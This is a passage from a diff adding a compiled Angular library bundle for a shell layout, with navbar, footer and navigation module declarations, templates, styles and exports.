choose-language\" [(ngModel)]=\"locale\">\n <option *ngFor=\"let lang of userData?.locales\" value=\"{{ lang.id }}\">{{ lang.text }}</option>\n </select>\n </div>\n </div>\n <p>ajhsadashadsh</p>\n <wll-empty-block region=\"upper\"></wll-empty-block>\n\n<!-- <div class=\"navbar-right-fixed lower\">-->\n<!-- <app-service-status></app-service-status>-->\n<!-- </div>-->\n\n <div class=\"lower-navbar-wrapper\">\n <div class=\"breadcrumbs-wrapper\">\n <wll-breadcrumbs [title]=\"title\" [breadcrumbs]=\"breadcrumbs\"></wll-breadcrumbs>\n </div>\n </div>\n\n <wll-empty-block region=\"lower\"></wll-empty-block>\n\n <div class=\"navbar-gap\"></div>\n</div>\n", styles: ["ul{position:relative;left:25px}.navbar{position:fixed;border-bottom:1px solid #ccc;margin-bottom:0;width:100%}.navbar-right-fixed{position:fixed;top:0;right:0}.navbar-right-fixed.upper{top:0;z-index:1000}.navbar-right-fixed.lower{top:73px;width:270px;margin-right:35px;z-index:3}.logout-list-item{position:relative;right:40px}.logout-list-item a:hover{color:#696c6e}.navbar-minimalize{border:1px solid #ececec;color:#878787;margin-left:25px}.navbar-minimalize:hover{color:#273646}.lower-navbar-wrapper{width:100%;position:fixed;height:81px;z-index:2;background-color:#f3f3f4;border-bottom:1px solid #ececec;margin-left:-15px}.breadcrumbs-wrapper{margin:12px 0 0 23px}.navbar-gap{height:12px}.navbar-left{float:left}.beta-version a{cursor:default;opacity:0}.impersonated-user{background-color:#d9534f;color:#fff}.impersonated-user .navbar-minimalize,.nav.navbar-right ul.impersonated-user,.nav.navbar-right.impersonated-user>li>a{color:#fff}.language-select{margin-top:14px}\n"], components: [{ type: i5$1.WlEmptyBlockComponent, selector: "wll-empty-block", inputs: ["region"] }, { type: i5$1.BreadcrumbsComponent, selector: "wll-breadcrumbs", inputs: ["title", "breadcrumbs", "homeRoute"] }], directives: [{ type: i4.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i4.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i7.SelectControlValueAccessor, selector: "select:not([multiple])[formControlName],select:not([multiple])[formControl],select:not([multiple])[ngModel]", inputs: ["compareWith"] }, { type: i7.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i7.NgModel, selector: "[ngModel]:not([formControlName]):not([formControl])", inputs: ["name", "disabled", "ngModel", "ngModelOptions"], outputs: ["ngModelChange"], exportAs: ["ngModel"] }, { type: i4.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i7.NgSelectOption, selector: "option", inputs: ["ngValue", "value"] }, { type: i7.ɵNgSelectMultipleOption, selector: "option", inputs: ["ngValue", "value"] }], pipes: { "translate": i5.TranslatePipe } });
363
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlTopNavbarComponent, decorators: [{
364
+ type: Component,
365
+ args: [{
366
+ selector: 'wl-shell-top-navbar',
367
+ templateUrl: './wl-top-navbar.component.html',
368
+ styleUrls: ['./wl-top-navbar.component.scss']
369
+ }]
370
+ }], ctorParameters: function () { return [{ type: i1.ActivatedRoute }, { type: i1.Router }, { type: WlTopNavbarService }, { type: NavigationService }, { type: i4$1.Title }]; }, propDecorators: { environment: [{
371
+ type: Input
372
+ }], userData: [{
373
+ type: Input
374
+ }], logout: [{
375
+ type: Output
376
+ }], changeLocale: [{
377
+ type: Output
378
+ }], openFeedbackModal: [{
379
+ type: Output
380
+ }], endImpersonationSession: [{
381
+ type: Output
382
+ }], toggleNavigationExpanded: [{
383
+ type: Output
384
+ }] } });
385
+
386
+ class WlFooterComponent {
387
+ constructor() {
388
+ this.copyright = "";
389
+ }
390
+ }
391
+ WlFooterComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, deps: [], target: i0.ɵɵFactoryTarget.Component });
392
+ WlFooterComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WlFooterComponent, selector: "wl-shell-footer", inputs: { copyright: "copyright" }, ngImport: i0, template: "<div class=\"row m-b\"></div>\n<br />\n<!-- Live Status-->\n<!--<app-live-messages></app-live-messages>-->\n\n<div class=\"page-footer\">\n <strong [innerHTML]=\"copyright\"></strong>\n</div>\n", styles: [".page-footer{background-color:#fff;position:fixed;width:100%;bottom:0;margin:0 0 0 -15px;padding:5px 25px;opacity:.9;z-index:99998}.page-footer-right-fixed{position:fixed;bottom:0;right:0;background-color:transparent;padding:5px 25px;z-index:99999}\n"] });
393
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlFooterComponent, decorators: [{
394
+ type: Component,
395
+ args: [{
396
+ selector: 'wl-shell-footer',
397
+ templateUrl: './wl-footer.component.html',
398
+ styleUrls: ['./wl-footer.component.scss']
399
+ }]
400
+ }], propDecorators: { copyright: [{
401
+ type: Input
402
+ }] } });
403
+
404
+ class NavigationModule {
405
+ }
406
+ NavigationModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
407
+ NavigationModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, declarations: [WlNavigationComponent,
408
+ WlTopNavbarComponent,
409
+ WlFooterComponent], imports: [CommonModule,
410
+ TranslateModule,
411
+ RouterModule,
412
+ FormsModule,
413
+ WlBreadcrumbsModule,
414
+ WlEmptyBlockModule], exports: [WlNavigationComponent,
415
+ WlTopNavbarComponent,
416
+ WlFooterComponent] });
417
+ NavigationModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, imports: [[
418
+ CommonModule,
419
+ TranslateModule,
420
+ RouterModule,
421
+ FormsModule,
422
+ WlBreadcrumbsModule,
423
+ WlEmptyBlockModule
424
+ ]] });
425
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: NavigationModule, decorators: [{
426
+ type: NgModule,
427
+ args: [{
428
+ declarations: [
429
+ WlNavigationComponent,
430
+ WlTopNavbarComponent,
431
+ WlFooterComponent,
432
+ ],
433
+ imports: [
434
+ CommonModule,
435
+ TranslateModule,
436
+ RouterModule,
437
+ FormsModule,
438
+ WlBreadcrumbsModule,
439
+ WlEmptyBlockModule
440
+ ],
441
+ exports: [
442
+ WlNavigationComponent,
443
+ WlTopNavbarComponent,
444
+ WlFooterComponent
445
+ ]
446
+ }]
447
+ }] });
448
+
449
+ /*
450
+ * Public API Surface of wl-shell-layout
451
+ */
452
+
453
+ /**
454
+ * Generated bundle index. Do not edit.
455
+ */
456
+
457
+ export { NavigationModule, NavigationService, WlFooterComponent, WlNavigationComponent, WlTopNavbarComponent, WlTopNavbarService };